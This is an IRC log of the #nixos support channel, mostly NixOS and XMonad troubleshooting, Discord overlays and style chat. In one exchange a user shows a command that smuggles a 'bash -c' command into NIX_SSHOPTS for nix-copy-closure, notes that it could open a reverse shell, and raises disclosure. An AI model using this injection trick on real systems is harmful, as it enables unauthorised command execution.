<tilpner> jbetz - At the risk of wasting a bunch of your time... https://github.com/matrix-org/matrix-appservice-tg
Synthetica has quit [Quit: Connection closed for inactivity]
<jD91mZM2> Starting the startup script from ~/.xprofile instead works but my windows are buggy.
<jD91mZM2> Is it possible that the nixos-rebuild was interrupted and corrupted xmonad somehow?
<thblt> jD91mZM2: did you try recompiling xmonad already?
<MichaelRaskin> tilpner: have you ever used this? I might want to try to set this up at some point…
<jD91mZM2> thblt: Multiple times
<thblt> jD91mZM2: I really doubt binary corruption is the issue here.
<tilpner> MichaelRaskin - I haven't used appservices recently (I tried them a long time ago). At the moment, I can't even run Synapse because my VPS is too weak for it
<tilpner> (2.6GB doing... nothing, just happily federating)
<MichaelRaskin> I have reached a situation when I have a Synapse instance that can federate with some instances but not matrix.org
<tilpner> Huh
andreabedini has quit [Read error: Connection reset by peer]
<tilpner> Was that the intended outcome?
<MichaelRaskin> I think my synapse instance is a bit smaller
<MichaelRaskin> Nope, not at all
andreabedini has joined #nixos
<MichaelRaskin> If it was intended, I would put two or three firewall rules, and it would not be even worth mentioning
<thblt> jD91mZM2: What's the problem exactly? What do you mean by windows in wrong position?
<tilpner> matrix.org federation was really slow last I tried (minutes), but it did work eventually
<tilpner> Much quicker with smaller HS'
<MichaelRaskin> (maybe I should ask you in #nixos-chat not here)
<Myrl-saki> thblt: I'm using Nix on Debian, so I'm dead. :(
<jD91mZM2> thblt: It's difficult to describe. Everything is just generally buggy. My startupHook wasn't running, some windows ended up off screen, some windows weren't drawn, some were on top of others
<thblt> Myrl-saki: well then it's a Debian problem, not a NixOS problem.
rosa has quit [Quit: rosa]
<jD91mZM2> latest issue is that no keyboard input is working
<thblt> jD91mZM2: I'm not even sure it's possible, but maybe your back-and-forth update led to Xmonad being linked again an incorrect version of X libraries?
<jD91mZM2> Maybe. Is it possible to force rebuild one or more packages?
fendor has joined #nixos
<thblt> jD91mZM2: I don't even know how to test this. Maybe you could steal my XMonad config, build it, run it, then see if it works? Unlike yours, mine is a Stack project so should work reasonably independently from OS-level Xmonad.
<zybell> jD91mZM2:Do you run a sessionmanager?
<Myrl-saki> I wonder if I can hack with NIX_SSHOPTS.
ireas has joined #nixos
<jD91mZM2> I'm using LightDM
<zybell> Thats a displaymanager
<jD91mZM2> good point
<jD91mZM2> no session manager then. nothing like xfce or anything
Maxdamantus has joined #nixos
Rusty1_ has joined #nixos
<Myrl-saki> Uhhh
<Myrl-saki> This is most certainly a bug, isn't it?
<Myrl-saki> NIX_SSHOPTS="-i /home/myrl/.ssh/lappy_packet_rsa bash -c 'echo 1 > hello'" nix-copy-closure --to 'myrl@c.zv.io' '/nix/store/kmdj2f1nqshkv8l1ci0l4sh2fkm6ni6m-virtualbox-nixops-16.09.877.5b08a40.vmdk.xz.drv'
<Myrl-saki> I could run this from another user.
<zybell> Then lets face it:there must be a *logical* error in your wm config.
jtojnar has quit [Quit: jtojnar]
<thblt> jD91mZM2: does your XMonad config use anything fancy? Can we see it somewhere?
<jD91mZM2> Currently I'm trying to use the default config and see if it works better
katona has quit [Quit: Connection closed for inactivity]
jtojnar has joined #nixos
andreabe_ has joined #nixos
<Myrl-saki> I can use this to set up a reverse shell and stuff.
<Myrl-saki> I wonder if this counts as responsible disclosure.
andreabedini has quit [Ping timeout: 264 seconds]
<ireas> I’m trying to install NixOS to a partition from within Debian. When running nixos-install, I get the following error message (AFAIS after downloading/copying the required packages): “error: while setting up the build environment: getting attributes of path '': No such file or directory”. Why is nixos-install trying to access an empty path? What could cause this?
<jD91mZM2> The default profile works better definitely. So it might just be my config messing up after all
<thblt> jD91mZM2: you have a few recent changes to the layoutHook, have you checked these changes worked correctly?
<jD91mZM2> I've been using this config forever
<jD91mZM2> It only failed right after trying to use unstable and then X crashing and then REISUBing
<thblt> jD91mZM2: well there were changes in the layoutHook seven days ago.
<jD91mZM2> seven days is forever in my book
andreabe_ has quit [Read error: Connection reset by peer]
shabius has joined #nixos
andreabedini has joined #nixos
<jD91mZM2> What the- now it works
<thblt> well if I was to try to fix a XMonad-related error, reverting recent changes in bug-prone layoutHook would be the first thing I'd try :-)
<jD91mZM2> I deleted xmonad-x86_64-linux, xmonad.o, xmonad.hi, etc
<jD91mZM2> and suddenly it seems to work?!
<jD91mZM2> (after recompiling)
<thblt> jD91mZM2: did you delete xmonad.state in the process?
<jD91mZM2> git can confirm that my config is exactly the same as before... wat
<jD91mZM2> Yeah I did
<jD91mZM2> What's that?
<thblt> jD91mZM2: OK, I should have thought about it. It's the *very first thing* you should delete when you encounter XMonad issues, and you should delete when Xmonad isn't running, because it will be recreated at shutdown.
<jD91mZM2> oh lol. Sorry
<thblt> jD91mZM2: serialized state for persisting state when restarting. Also called "forwarding existing bugs to fresh instances"
shabius_ has quit [Ping timeout: 260 seconds]
<jD91mZM2> Why the heck is that a thing? I thought xmonad didn't save anything between restart?!
<thblt> jD91mZM2: well it started doing so relatively recently, in 0.13 I think.
<jD91mZM2> Well that explains a lot. Thank you so much for your help <3
rosa has joined #nixos
<thblt> you're welcome. I tool me forever to understand this thing was causing mayhem in my Xmonad, and I forgot about it.
shabius has quit [Quit: Leaving]
jD91mZM2 has quit [Quit: Rebooting]
agile has quit [Quit: v]
<zybell> so xmonad is a sessionmanager too, now
agile has joined #nixos
<ij> `man' outputs unprintables when piping into the editor, why is that? Is there an nixpkgs issue about it?
<thblt> zybell: well persisting its state doesn't make it a session manager, I think.
<zybell> Doesnt it try to run the progs that were open last time to reconstruct the state?
knupfer has quit [Quit: knupfer]
knupfer has joined #nixos
alex`` has joined #nixos
ireas has quit [Quit: leaving]
Guest14 has joined #nixos
Guest14 is now known as white_rabbit
<ij> systemd.services.nixops-keys.service.postStart never executes. :(
<thblt> zybell: no it isn't that smart. It just remembers layouts, workspaces, etc.
<thblt> zybell: I don't think XMonad has even an abstraction of the fact that windows are created by programs.
<white_rabbit> hi all
<{^_^}> [nixpkgs] @jtojnar pushed to master « evolution-data-server: fix SSL support on non-GNOME platforms »: https://git.io/vpwPa
cryp2nomicon has joined #nixos
<zybell> half a sm then :-)
ixxie has joined #nixos
andreabe_ has joined #nixos
<ixxie> gchristensen - are you around?
andreabedini has quit [Ping timeout: 248 seconds]
rosa has quit [Quit: rosa]
jD91mZM2 has joined #nixos
aarvar has quit [Ping timeout: 264 seconds]
<jtojnar> jD91mZM2: the deja-dup thing is the same issue as the xfce plug-ins
<jD91mZM2> jtojnar And?
<jD91mZM2> Should I keep it or remove it?
<jtojnar> jD91mZM2: remove it, propagatedBuildInputs would not work anyway
rosa has joined #nixos
<jD91mZM2> Oh? Will the xfce-panel part need to be changed as well?
<jD91mZM2> Or should I just close the whole PR?
shabius has joined #nixos
<{^_^}> [nixpkgs] @jtojnar pushed to master « sublime: re-introduce accidentally removed attribute »: https://git.io/vpwXk
<ij> When does keys.target get loaded? I added a nixops-keys.foo.text attribute, but it doesn't get reloaded, because it seels like keys.target isn't being wanted.
<white_rabbit> i've installed the soft platformio from the unstable channel (so the package is v 3.5.2) but when a try to run it with sudo, I have a python OSError : [Errno 13] Permission denied that occurs and I don't really because of what i have this issue. Anyone had a simular issue?
<jtojnar> jD91mZM2: not familiar with xconf
rosa has quit [Client Quit]
<jD91mZM2> How dconf won't work btw? I installed it as a system package locally and that works, so it doesn't have to be a user package?
cryp2nomicon has quit [Read error: Connection reset by peer]
xy2_ has quit [Quit: WeeChat 1.9.1]
plakband has joined #nixos
xy2_ has joined #nixos
<jtojnar> jD91mZM2: propagatedBuildInputs will not make it system package
<jtojnar> that would be propagatedUserEnvPkgs
<jtojnar> see the other PR
phdoerfler has joined #nixos
phdoerfler has quit [Client Quit]
<plakband> is there a way to merge two sets? such that {a.b = 4;} // {a.c = 5;} will have both an a.b and a.c element, instead of just a.c?
rosa has joined #nixos
b has quit [Quit: Lost terminal]
<jD91mZM2> jtojnar: Oh, thanks
<jtojnar> plakband: stdenv.lib.recursiveUpdate?
<ij> Can I set up network manager connections declaratively?
<jtojnar> jD91mZM2: looking at xfconf output it looks like dconf, either way propagatedBuildInputs won't work there either
Hdphn has joined #nixos
<jD91mZM2> jtojnar: Updated!
MinceR_ has joined #nixos
knupfer1 has joined #nixos
knupfer has quit [Remote host closed the connection]
knupfer1 is now known as knupfer
<jtojnar> jD91mZM2: and it will probably still need to be in the buildInputs since it is also a library
<jtojnar> but like I said in the other PR, this would need to be added to every xfce application
MinceR has quit [Ping timeout: 256 seconds]
<ixxie> Critical style question: which of these is better and why? https://gist.github.com/ixxie/760853c3024df9cab5e7a685ab75bf2c
MinceR_ is now known as MinceR
<ixxie> and "its a matter of taste" is unacceptable as a response xD
<jD91mZM2> jtojnar: Ah crap
andreabedini has joined #nixos
<jtojnar> ixxie: c > a > b > d
<jD91mZM2> ixxie: c is the optimal formatting. You may not like it, but this is what peak performance looks like.
<jtojnar> ixxie: with b & d, it is less obvious the code continues
<jtojnar> after myFunc
andreabe_ has quit [Ping timeout: 256 seconds]
<jtojnar> ixxie: I do not really like either indentation style but c is more prevalent in nixpkgs
<ixxie> I noticed
<ixxie> jtojnar: which indentation style would you use if not c then?
<Rusty1_> ij: https://nixos.org/nixos/manual/options.html , ctl-f networkmanager maybe?
<ixxie> I have been doing stuff like b and d but I started to realize everybody else does c/a and I wanted to understand why
<ixxie> also they started to appeal to me more and more aesthetically ^^
<plakband> jtojnar: thanks, I think that's it
<jtojnar> ixxie: c but with tabs, the narrow columns are sometimes harder to scan
<ij> Rusty1_, Yeah, it doesn't look like it. :) But I also forgot to check that so thanks. (Instead I looked at the soruce and thought I'd missed it. :D Silly.)
<ixxie> jtojnar: tabs or simple 4 spaces?
<ij> Rusty1_, But now that I think of it, it could be that I just have to figure out which file to create through environment.etc.
<jtojnar> ixxie: tabs will allow me to set it to 8 spaces while other people can set it to two spaces
<simpson> ixxie: I don't know whether cuddles are good. I suspect cuddles are good. c and d have a definite advantage because their indentation is less misleading.
acarrico has joined #nixos
<simpson> jtojnar: Hm, the Nix parser should probably reject tabs. I'm not sure if that's been done yet though.
periklis has joined #nixos
<jtojnar> ixxie: on project that have opinionated style formatter I just use smudge & clean filter that increases the indentation width
<jtojnar> on nixpkgs, I have to use larger font size
<yorick> seems like some upstreams are taking offense to their software being packaged
<ixxie> yorick: ?
<ixxie> really xD
<ixxie> simpson: cuddles?
katyucha has joined #nixos
<ixxie> jtojnar: tabs have other problems though
<jtojnar> ixxie: only if you do alignment
<simpson> ixxie: A cuddle is when the braces are on the same line as the thing they belong to, like in `mkDerivation {`
<jtojnar> ixxie: which is terrible by itself if you do not use monospace font
<jD91mZM2> Tabs are OK until you use `diff` or GitHub or anything else with the default options and then suddenly they have multiplied in width
<jD91mZM2> And then you decide you want some fields to match up in indention, so you add one or two spaces to a line, and suddenly you have mixed indention and everybody hates you.
<ixxie> jtojnar: of course I use monospace; I may be green but I wasn't born yesterday
<kuri0> in what file in nixpkgs can I set the default compiler flags ?
<ixxie> yorick: weird stuff
<ixxie> jD91mZM2: yeah the mixed indentation thingy is what catches me off guard
<ixxie> it seems in nixpkgs double space is the most prevalent indentation right?
<{^_^}> [nixpkgs] @taku0 opened pull request #40006 → firefox, firefox-bin: 59.0.2 -> 59.0.3, firefox-esr: 2.7.3esr -> 52.7.4esr → https://git.io/vpw1z
<ixxie> simpson: thanks for teaching me a new term ^^
<yorick> ixxie: maybe they think it's some sort of official
<simpson> No worries.
<jtojnar> ixxie: well, I do not 😀, I even started working on a terminal emulator that would use normal font
<simpson> yorick: We should seriously consider a policy of telling upstreams that their licenses permit redistribution.
<yorick> simpson: yeah, but that pisses them off, and their cooperation could be useful
<simpson> Maybe.
<ij> Setting up a openvpn connection in network manager with a static key doesn't work (via grayed out 'save') and nm-connection-manager just says "invalid connection: static-key". :/
<{^_^}> [nixops] @goodraven opened pull request #944 → Add initial support for hetzner cloud → https://git.io/vpw1M
<ixxie> jtojnar: how come?
b has joined #nixos
<jtojnar> ixxie: proportional fonts just read better to me
<ixxie> makes snese
<ixxie> or sense xD
plakband has quit [Quit: Lost terminal]
katyucha has quit [Quit: leaving]
wchresta_ has joined #nixos
ambro718 has quit [Quit: Konversation terminated!]
va1entin has quit [Quit: WeeChat 2.0]
rosa has quit [Quit: rosa]
maingo has quit [Quit: Connection closed for inactivity]
nschoe has joined #nixos
nschoe has quit [Client Quit]
oh_lawd has joined #nixos
<oh_lawd> hey, I'm running nixos 18.03 and trying to get a datacolor spyder 4 to work, it seems it needs a custom udev rule, but I can't really find any proper information what is the right way to add this to the configuration
phdoerfler has joined #nixos
joehh has quit [Ping timeout: 248 seconds]
wchresta_ has quit [Ping timeout: 240 seconds]
<infinisil> oh_lawd: Add them with services.udev.extraRules
tusj has quit [Remote host closed the connection]
<{^_^}> [nixpkgs] @jtojnar merged pull request #40002 → powerline-rs: init at 0.1.6 → https://git.io/vpwoB
<{^_^}> [nixpkgs] @jtojnar pushed 2 commits to master: https://git.io/vpwM5
<{^_^}> → edbf4b0e by @jD91mZM2: powerline-rs: init at 0.1.6
<{^_^}> → 7be2768a by @jtojnar: Merge pull request #40002 from jD91mZM2/powerline-rs
<oh_lawd> yep, but at least my editor (emacs) shows that some double $$ is not really allowed inside a string...
tusj has joined #nixos
<oh_lawd> if I write it like this https://www.irccloud.com/pastebin/KqhSLOwn/
<lejonet> Whats the easiest way to pull in stdenv in a nix-shell env that uses buildFHSUserEnv? I know nix-shell -p stdenv works to get just stdenv setup, but I want it setup inside of a FHS chroot too and can't really figure out how, adding it to targetPkgs makes it error out because its a function
<jtojnar> ,escape''
<{^_^}> '' two single quotes: ''' bash curly bois: ''${} newline: ''\n tab: ''\t any character x: ''\x ''
<jtojnar> oh_lawd: ^
<oh_lawd> jtojnar: thank you :)
<oh_lawd> my first day with nixos so I don't know it all yet, I should read the whole manual though
<lejonet> oh_lawd: the manual is good :)
<oh_lawd> yep, I think so...
<lejonet> I'm not all too deep into my nixos adventure myself, but the manual is quite good, usually :)
<oh_lawd> the biggest question is why I'm trying this distro only now
<oh_lawd> after over 20 years of linux use...
<lejonet> :P
<oh_lawd> I need to convert all my machines to the same configuration now
<lejonet> I've been asking myself that the past weeks :P
<oh_lawd> yeah...
daveo has joined #nixos
<ixxie> oh_lawd: we have also been putting some work on the wiki recently
<ixxie> oh_lawd: nixos.wiki
<ixxie> its still got a long ways to go, but hopefully you can find useful stuff there
<ixxie> and its good to get the newcomers feedback on that, because its easy to forget what is obvious and what is not after being around for a while
<jD91mZM2> sphalerite: powerline-rs is merged (thanks jtojnar!) :D
<oh_lawd> cool
<sphalerite> \o/
acarrico has quit [Ping timeout: 240 seconds]
acarrico has joined #nixos
<oh_lawd> hmm, seems that this package https://github.com/NixOS/nixpkgs/blob/master/pkgs/tools/graphics/argyllcms/default.nix should copy the right udev rules, but I don't see the file in /etc/udev/rules.d
Fare has joined #nixos
<thblt> oh_lawd: I'm not sure but I think the package should be explicitely passed to services.udev.packages
<ixxie> nh2[m]: are you around?
Brek has joined #nixos
Hdphn has quit [Ping timeout: 255 seconds]
Ahmedkh` has joined #nixos
Ahmedkh` has quit [Remote host closed the connection]
Ahmedkh` has joined #nixos
asuryawanshi has joined #nixos
<{^_^}> [nixpkgs] @NinjaTrappeur opened pull request #40007 → mariadb: Fix mariadb_config include path. → https://git.io/vpwyr
roconnor has joined #nixos
<roconnor> Hi, my kactivitymanagerd is crash looping. Anyone have tips on how to debug this; what files or directories might need deletting?
white_rabbit has quit [Remote host closed the connection]
<{^_^}> [nixpkgs] @xeji merged pull request #40003 → nix-pin: 0.2.2 -> 0.3.0 → https://git.io/vpw6U
<{^_^}> [nixpkgs] @xeji pushed 2 commits to master: https://git.io/vpwyx
<{^_^}> → 3cce9b10 by @timbertson: nix-pin: 0.2.2 -> 0.3.0
<{^_^}> → 8f22baa4 by @xeji: Merge pull request #40003 from timbertson/nix-pin
<roconnor> ah clearing ~/.local/share/kactivitymanagerd/resources seems to have helped
vcunat has quit [Ping timeout: 255 seconds]
asuryawanshi has quit [Remote host closed the connection]
asuryawanshi has joined #nixos
Ahmedkh` has quit [Ping timeout: 240 seconds]
vcunat has joined #nixos
asuryawanshi has quit [Ping timeout: 264 seconds]
daveo has quit [Ping timeout: 256 seconds]
ixxie has quit [Ping timeout: 276 seconds]
acarrico has quit [Ping timeout: 260 seconds]
<oh_lawd> hmm, worked as a root only :(
<oh_lawd> well, luckily I need to do calibration only once, because I'm not a photographer
<oh_lawd> but I want that better contrast
<{^_^}> [nixpkgs] @xeji pushed 2 commits to master: https://git.io/vpwSd
<{^_^}> → e450d9fb by @xeji: Merge pull request #38961 from bachp/cryptsetup-generator
<{^_^}> [nixpkgs] @xeji merged pull request #38961 → cryptsetup-generator: add postFixup → https://git.io/vpedw
<{^_^}> → caed1877 by @bachp: cryptsetup-generator: add postFixup
nuncanada has joined #nixos
<jtojnar> ma27: perhaps it would be possible to backport fontconfig 2.12.4 but there are probably other dependencies too
<jtojnar> I do not care about unstable enough to justify such work
<jtojnar> people can still use GIMP 2.10 from unstable
coot has joined #nixos
<jtojnar> s/care about unstable/care about release/
daveo has joined #nixos
<lejonet> Whats the easiest way to override the package version for a users env? The regular nixpkgs.config.packageOverrides doesn't seem to work if I put it in ~/.config/nixpkgs/config.nix
<jtojnar> lejonet: in that file, it is just packageOverrides
<daveo> I was starting to attempt to make a derivation for the new Discord. People were helping me and I cloned the nixpkgs repo.
<jD91mZM2> You probably want to use package overlays instead lejonet
<lejonet> jtojnar: ah, that would explain it, thanks :)
<jD91mZM2> daveo: I have done that already. Lemme give you my code, hold on
<lejonet> jD91mZM2: this is just a dirty hack to quickly update discord, I'm going to do it properly, with an overlay, afterwards :P
<daveo> jD91mZM2: people so fast here. Love it!
<jD91mZM2> In ~/.config/nixpkgs/overlays/overlay.nix: https://gist.github.com/69181312b5b1e1fb269a5db20fc63484
<lejonet> lol, I'm not the only one trying to quickfix discord xD nice :P
slyfox has quit [Ping timeout: 264 seconds]
<lejonet> I'll gladly copy your work :D cheers!
<jD91mZM2> There's a whole team of us apparently :P
<lejonet> Yep
<daveo> well that's awesome
<jD91mZM2> Anyway, now you just use `nix-env -iA nixos.discord-latest`
* lejonet gives jD91mZM2 a big hug, and beverage of choice :)
slyfox has joined #nixos
<daveo> I'll remove my old one first?
<jD91mZM2> Apparently overlays add it to all channels btw, which is funny. You'll might see nixos-unstable.discord-latest which is the exact same package
<jD91mZM2> You might*
<jD91mZM2> daveo: Old one? What do you mean?
<daveo> and does it need allow-unfree?
<daveo> 0.0.4
<jD91mZM2> Yeah, remove that
<jD91mZM2> I have no idea if it requires unfree... probably?
<jD91mZM2> Since it'll keep all the old values for licenses and stuff
<daveo> do I need to do something else first like add a channel?
<{^_^}> [nixpkgs] @xeji merged pull request #39749 → i3lock-color: 2.10.1-1-c -> 2.11-c → https://git.io/vp0Jo
<{^_^}> [nixpkgs] @xeji pushed 2 commits to master: https://git.io/vpw9r
<{^_^}> → 3e37981a by @Synthetica9: i3lock-color: 2.10.1-1-c -> 2.11-c
<daveo> [dw@shapeshift:~/src/nixpkgs]$ nix-env -iA --arg config '{ allowUnfree = true;}' nixos.discord-latest
<daveo> warning: name collision in input Nix expressions, skipping '/home/dw/.nix-defexpr/channels_root/nixos'
<daveo> error: attribute 'discord-latest' in selection path 'nixos.discord-latest' not found
<{^_^}> → 76d0e61e by @xeji: Merge pull request #39749 from Synthetica9/i3lock-color-2.11
<jD91mZM2> Not as far as I remember... weird
<jD91mZM2> Maybe try setting allowUnfree in the config or using NIXPKGS_ALLOW_UNFREE=1
<daveo> nope
<daveo> [dw@shapeshift:~/src/nixpkgs]$ export NIXPKGS_ALLOW_UNFREE=1
<daveo> [dw@shapeshift:~/src/nixpkgs]$ nix-env -iA nixos.discord-latest
<daveo> error: attribute 'discord-latest' in selection path 'nixos.discord-latest' not found
<daveo> warning: name collision in input Nix expressions, skipping '/home/dw/.nix-defexpr/channels_root/nixos'
<jD91mZM2> sec
<daveo> testing in action
<jD91mZM2> Wow, `nix-env -q` is really slow
coot has quit [Remote host closed the connection]
<daveo> hmm, wonder how that can be improved?
<jD91mZM2> Does `nix-env -qaA nixos.discord-latest` give you any output?
<daveo> I'll try
<jD91mZM2> What user are you running it from? The same one as the overlay, right?
<daveo> let me know if there is anything I have to do in terms of updating. not sure if it works at all like apt or yum or pacman...whatever
<jD91mZM2> Overlays should work by just adding them to the directory. So I'm really unsure why it doesn't work for you
Hdphn has joined #nixos
<daveo> nix-env -qaA nixos.discord-latest gave `error: attribute 'discord-latest' in selection path 'nixos.discord-latest' not found` I'm using 18.03
Brek has quit [Ping timeout: 255 seconds]
<mmlb> hey all, I'm following along with nix-pills and am at pill 8 and am hitting a seemingly bug/roadblock.
<jD91mZM2> Are you sure allowUnfree is set correctly? What happens if you set it in the ~/.config/nixpkgs/config.nix?
<mmlb> The drv as inheriting binutils-unwrapped and expecting the env var to be binutils_unwrapped, but nix build and nix-build both set the env var to binutis-unwrapped
<mmlb> which bash then can't work with
<daveo> [dw@shapeshift:~/src/nixpkgs]$ echo $NIXPKGS_ALLOW_UNFREE
<daveo> 1
<daveo> I'll try changing the config.nix
<mmlb> so the build fails because bash is doing "$binutils"-unwrapped which obviously doesn't not work/exist
<jD91mZM2> Try setting it in the config either way? Sorry, I'm out of ideas
<daveo> Richard Stallman will be disappointed
Hdphn has quit [Remote host closed the connection]
<jD91mZM2> daveo: He doesn't need to know
<daveo> I don't have that file in that location. Maybe in /etc/nix on NixOS 18.03 ... locating
<jD91mZM2> Tell him to go grab a beer and hurry up quicky before he comes back
<jD91mZM2> Wait what, ~/.config/nixpkgs doesn't exist?
<jD91mZM2> Or you mean confix.nix? yeah just create it.
<daveo> yeah ok
<daveo> creating
<daveo> and then set the env var like NIXPKGS_ALLOW_UNFREE=1
<daveo> or
<daveo> { allowUnfree = true;}
<jD91mZM2> second approach
<daveo> does it need anything else in terms of boilerplate new to nix....
<jD91mZM2> Nono, no update step. nix-env reads these files every time
<jD91mZM2> I should put my nixpkgs config to my dotfiles repo
<jD91mZM2> Crap, I have to go. Sorry! I'll be back soon
<daveo> no problemo
<daveo> it's awesome you did this
<daveo> later
periklis has quit [Ping timeout: 240 seconds]
chessai has joined #nixos
coot has joined #nixos
shabius has quit [Quit: Leaving]
endformationage has joined #nixos
civodul has joined #nixos
phdoerfler1 has joined #nixos
phdoerfler has quit [Read error: Connection reset by peer]
<daveo> jD91mZM2: if this wasn't committed to nixpkgs or somehow added to the official repo does that mean I had to run the overlay.nix in the gist before any of this works. If that was the case sorry on my part. a pretty basic fail...
phdoerfler has joined #nixos
phdoerfler1 has quit [Ping timeout: 260 seconds]
wchresta_ has joined #nixos
<jD91mZM2> daveo: I'm back!
<jD91mZM2> This should not have to be updated in any way
<jD91mZM2> What happens if you change ~/.config/nixpkgs/overlay.nix to some invalid syntax like `{}`?
<{^_^}> [nixpkgs] @dezgeg pushed to master « nixos/lib/make-ext4-fs: Add a sanity check »: https://git.io/vpwHx
<jD91mZM2> overlays/overlay.nix*. The same file I sent
grumble has quit [Read error: Connection reset by peer]
grumble has joined #nixos
papika has joined #nixos
<papika> would ayone be able to help me understand a bit more about imperative and declarative configurations? I'd like to find a way to compare the system state in /nixos/configuration.nix to whatever I've been changing using nix-env... that way I can go back and save things in the config to have them persist. is that what other people are doing?
<jD91mZM2> papika: Since nix-env is per-user, you can use `nix-env -q` to query all installed packages for that user
daveo has quit [Ping timeout: 248 seconds]
krey has quit [Ping timeout: 268 seconds]
<papika> jD91mZM2: ok, that's good to know, but what about changes I've made in configurations or systemd services I've enabled?
<MichaelRaskin> nix-env is only about packages
<MichaelRaskin> configuration.nix can be just put into a VCS
<papika> perhaps there's a nix command to diff system states tho?
<jD91mZM2> papika: Wait, you can enable systemd services?
<jD91mZM2> I thought that *had* to be done using nix
<papika> jD91mZM2: hmmm I've just been doing `systemctl enable -now thing.service`
<MichaelRaskin> I think there is nix-diff, but it is more a debugging tool for packages, best used when differences are limited
<papika> and doing `vim ~/.config/stuff.config` which feels bad because I'm scared a nixos rebuild will destroy my work
<jD91mZM2> NixOS does not touch your home folder
<jD91mZM2> Only if you use home-manager
wchresta_ has quit [Ping timeout: 256 seconds]
<papika> MichaelRaskin: thanks yeah I've been meaning to use a VCS for the OS... maybe git-annex
<papika> jD91mZM2: ah good to know! so dotfiles are not something that should/can be written to /etc/configuration.nix?
<jD91mZM2> Nope. NixOS is more for system configuraton, like /etc/lightdm/lightdm.conf
<papika> I was kind of hoping for a fully declarative system... but even just having that for system packages is a great step
humanoyd has quit [Quit: WeeChat 2.1]
<papika> jD91mZM2 thanks :)
<jD91mZM2> For a fully declarative system, I've head a lot of people recommend home-manager
<MichaelRaskin> There are some tools (nixup, homemanager for declarative configuration of user-level files)
<papika> I'll look into homemanager - thanks guys
<jD91mZM2> Does anybody know how to compile cargo packages with examples? Basically I need to run "cargo build --release --example whatever" instead of just "cargo build --release". Simply modifying cargoBuildFlags doesn't work because when it clones the repo it also checks if Cargo.lock exists, which it doesn't.
phdoerfler has quit [Ping timeout: 260 seconds]
raynold has joined #nixos
<papika> jD91mZM2 not sure... but are you looking to have an override for a nixpkg? because I'm also curious how to do that,and build something just a little bit differently
stephenjudkins has joined #nixos
<jD91mZM2> From what I've understood people generally don't like overriding nix packages. But you can create a clone around existing ones, an "overlay"
<jD91mZM2> For an example overlay, see https://gist.github.com/jD91mZM2/69181312b5b1e1fb269a5db20fc63484. It overrides the discord version to be 0.0.5.
<{^_^}> [nixpkgs] @vcunat pushed 2 commits to master: https://git.io/vpwQo
<{^_^}> → c462aa07 by @NinjaTrappeur: maria-db: Fix mariadb_config include path.
<{^_^}> → 89bed5b6 by @vcunat: Merge #40007: mariadb: Fix mariadb_config include path
<jD91mZM2> You place it in ~/.config/nixpkgs/overlays/<whatever>.nix
<papika> sounds familiar - I'm used to doing that for Gentoo ebuilds
<jD91mZM2> and then you can use `nix-env -iA nixos.<package>` as if it was in that channel
<papika> oh NICE! that makes it so easy to put them in a VCS
<papika> I was worried I'd need to fork nixpkg repo and then maintain the whole thing and do rebases ever now and then :( glad I can do overlays
<jD91mZM2> You can make overlays system-wide too, using nixpkgs.overlays = [( /* paste code here */ )];
<{^_^}> [nixpkgs] @vcunat merged pull request #40007 → mariadb: Fix mariadb_config include path. → https://git.io/vpwyr
<leary`> Oh my god ... I've been stressing trying to figure out why fontforge's shares weren't getting linked in to /run/current-system/sw/share for days. I just realised I could find the derivation source for system-path and saw that it exports the option environment.pathsToLink. Just setting that to [ "/share" ] fixes everything. >.>
<leary`> Why is this not default? Is there a good reason?
stephenjudkins has quit [Remote host closed the connection]
Judson has quit [Ping timeout: 276 seconds]
<jD91mZM2> leary`: I got a really similar issue with xfce4-panel. It sucks. But packages can't currently control that setting :(
ambro718 has joined #nixos
vcunat has quit [Ping timeout: 256 seconds]
daveo has joined #nixos
<daveo> what to do when plasma desktop hangs?
<jD91mZM2> daveo: Switch to a TTY and restart it
<{^_^}> [nixpkgs] @jonafato opened pull request #40008 → liferea: 1.12.2 -> 1.12.3 → https://git.io/vpw7L
<daveo> my laptop, or at least plasma, has been hanging about 30 min. unfortunately Ctrl+alt+f1 not working
<daveo> is there a Magic SysRq key?
<jtojnar> jD91mZM2: regarding xfconf, it would be probably better to hear from Xfce maintainers like @yegortimoshenko first
<jD91mZM2> daveo: For restarting the whole computer? Yes. For just restarting plasma? Not IIRC
<ben> from what ive read about modern system administration practices on the internet, the solution is to throw out the laptop immediately and switch to a standby system
<ben> (i usually just hard-poweroff after 30+ seconds of unresponsiveness)
<jD91mZM2> jtojnar: You already CC'd him on GitHub... So I'm just waiting there :^)
<jD91mZM2> ben Oh noes not the hard-poweroffs D:
<jD91mZM2> daveo: You could try enabling Ctrl+Alt+Backspace as a shortcut for killing X
<jtojnar> jD91mZM2: yep, just wanting to save you work in case it gets rejected
<jD91mZM2> jtojnar: Ah, thanks!
<jtojnar> leary`: ideally the derivations should work even when they are not linked to the nix profile (e.g. from nix-shell)
<jD91mZM2> I'm not really sure how this whole communication thing works. Are all maintainers here on IRC?
<MichaelRaskin> No
Judson has joined #nixos
<ben> statistically, some of them can't be on irc because they're probably in a tty right now trying to fix their desktops
Judson is now known as Guest16037
<jD91mZM2> ben: Good point
<hodapp> statistically, some of you are also actually dogs
<{^_^}> Channel nixos-unstable-small advanced to https://github.com/NixOS/nixpkgs/commit/c94a1e6158e (from 8 hours ago, history: https://channels.nix.gsc.io/nixos-unstable-small)
<daveo> ben: made me laugh several times
<hodapp> SQUIRREL
<MichaelRaskin> DOGGY!
<jD91mZM2> hodapp: pls hooman dont tell the others
<daveo> hodapp: on the internet nobody knows you're adog
* jD91mZM2 goes to bark at mailman
* hodapp pets jD91mZM2
fendor has quit [Ping timeout: 264 seconds]
<ben> early misunderstandings of the practice of dogfooding have left their marks on the project
* hodapp ponders this
<MichaelRaskin> Some of the dog contributors got designated as food?
<MichaelRaskin> That would be horrible
<hodapp> D:
<daveo> irc. such wow such awesome.
<MichaelRaskin> On the internet, nobody knows you are a dog. Except if you are Florence Ambrose, genetcially modified sentient wolf. In that case, DOGGY!
vcunat has joined #nixos
<daveo> jD91mZM2: hard reboot and then I'm enabling the Ctrl Alt backspace. is there a way to put that in my configuration.nix? also I tried print screen as the Magic SysRq with REISUB. nothing. is magic SysRq mapped to some other key by default in nixos?
<jtojnar> hodapp: do you still use draftsight? it depends on gstreamer 0.10 and I am trying to drop that https://github.com/NixOS/nixpkgs/issues/39975
<hodapp> jtojnar: I saw that and haven't had a chance to look yet
<jD91mZM2> In your configuration.nix, change services.xserver.xkbOptions to include "compose:ctrl_alt_bksp"
<jD91mZM2> (talking to daveo)
<daveo> sweet
<hodapp> jtojnar: what package are you aiming to replace it with?
